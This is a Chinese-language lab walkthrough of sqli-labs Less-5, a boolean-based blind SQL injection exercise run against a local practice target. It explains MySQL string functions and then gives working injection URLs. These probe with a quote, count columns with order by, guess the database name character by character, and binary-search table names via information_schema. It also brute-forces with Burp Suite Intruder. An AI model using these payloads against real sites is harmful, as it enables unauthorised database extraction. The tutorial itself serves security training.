前序
经历过前几关的洗礼后,我们正式进入了第五关,第五关的操作方法与前几关相比有很大的差别,所以我们再开始之前,先补充一些有关于数据库的基本知识,以及一些操作,以助于能顺利掌握该关卡。(该关卡为BOOL类型注入)
补充基础知识
left函数
格式:
left(database(),1)='s'
用法:left(a,b)从左侧截取a的前b位,正确返回1,错误返回0;
演示:首先用cmd指令进入数据库后,进入security数据库,也就是进入搭建靶场的数据库;
我们先展示一下该函数使用后会出现什么样的情况,使用sql语句:
select left(database(),1)='s';
结果为:
继续使用sql语句来进行推断:
select left(database(),2)='s';
结果为:
继续使用:
select left(database(),2)='se';
结果为:<br /><br />**所以我们可以,确定该函数的用法就是:left(a,b)从左侧截取a的前b位,正确返回1,错误返回0;由于我们所用的是security数据库所以所有的判断都基于这个数据库来判断;**
regexp函数
格式:
select user() regexp 'r'
用法:从左到右匹配当前的结果,匹配成功返回1,失败返回0;
演示:首先用cmd指令进入数据库后,查看user()返回的结果;
我们先查询user()的结果,使用的sql语句为:
select user();
结果为:<br /><br />接着使用,该函数进行演示,使用的语句为:
select user() regexp 'r';
结果为:<br /><br /> 继续使用sql语句:
select user() regexp 'root';
结果为:<br /><br />继续使用sql语句:
select user() regexp 'rot';
结果为:<br /><br />**所以我们可以得出,该函数就是根据结果从左向右进行比对,比对成功则返回1,失败则返回0;**
like函数
格式:
select user() like 'ro%'
用法:与regexp函数基本相同,唯一不同点就是在后面引入了%这个符号;
演示:首先用cmd指令进入数据库后,查看user()返回的结果;
我们先查询user()的结果,使用的sql语句为:
select user();
结果为:<br /><br />接着使用,该函数进行演示,使用的语句为:
select user() like 'ro%';
结果为:<br /><br />**由于,该函数与上面所提到的regexp函数的操作基本相同,用法也一样,所以过多的解释将不再进行,结论参考以上regexp函数的结论;**
substr(a,b,c)函数
格式:
select substr(a,b,c) XXXX
用法:从位置b开始,截取a字符串c位的长度;
演示:首先用cmd指令进入数据库后,进入security数据库,也就是进入搭建靶场的数据库;
我们先展示一下该函数使用后会出现什么样的情况,使用sql语句:
select left(database(),1)='s';
结果为:
继续使用sql语句来进行推断:
select substr((select database()),1,1) ='s';
结果为:<br /><br />继续使用sql语句来进行推断:
select substr((select database()),1,1) ='so';
结果为:<br /><br />** 所以我们可以得出结论,第一个位置也就是从左往右数第一个,选取长度为1,那么security字符串第一个长度为1就是s;**
ascii()函数
格式:
select ascii('xxxx')
用法:将字符串转化为ASCII的值;
使用sql语句:
select ascii('a');
结果为:
正文
进入第五关!
首先使用该URL对其进行测试,看其返回结果;
http://127.0.0.1/sqli-labs/Less-5/?id=1
结果为:<br /><br />使用以下URL:
http://127.0.0.1/sqli-labs/Less-5/?id=1000
结果如下:
所以我们可以判断其注入类型为,BOOL盲注;因为该类型的注入就会出现两种结果,我们可以根据编程中bool类型去理解,所以我们可以看出,正确则返回You are in…
错误则返回空页面;
我们继续使用URL:
http://127.0.0.1/sqli-labs/Less-5/?id=1'
结果为:<br /><br />所以根据该结果,我们可以得出存在注入漏洞!!!
我们先进行order by查询:
http://127.0.0.1/sqli-labs/Less-5/?id=1' order by 4 --+
结果为:<br /><br />所以我们可以得出结论,该属性列一共有三列;
就像我们上文所提及的,不可以使用union select进行查询,因为使用该语句后,无论查询到什么,只要是正确的都只会返回You are in…的页面,所以我们使用前序所补充的知识进行查询;
首先使用left函数;
http://127.0.0.1/sqli-labs/Less-5/?id=1' and left((select database()),1) = 's' --+
查询结果为:<br /><br />
破解数据库
但是根据实际情况,我们不可能一直手动注入去猜解,这样的速度不进慢而且效率低下,我们可以使用一些脚本进行,但是在这里,我们用BurpSuite进行抓包爆破,进而得到数据库的名字;
打开代理,设置端口,在本文中并不详细介绍,我们直接进行抓包之后的过程;
在URL中我们随便输入一个字母作为猜测;
抓包成功后:
发送到Intruder,对其中数据进行清除值;
然后让a作为一个变量;
使用其自带的字母库,对数据库进行猜解;
打开线程,并设置;
开始进行爆破;
我们会发现,只有s时,它返回的长度与其他的不一样,所以我们可以判断出来,数据库第一个字母为s;
查看s的响应信息;
所以我们可以推断s为正确的数据库第一个名字;
以此类推,我们可以破解出数据库的具体名字;
那么接下来,我们可以根据二分法来进行猜解表单,使用的URL为:
http://127.0.0.1/sqli-labs/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))>1 --+
结果为:
所以我们可以根据后面的参数值来改变,从而确定了表单的名称,唯一一点需要自己手动的注入,比较麻烦;
需要手动注入,从而获得名称…
那么本关也就到此结束了…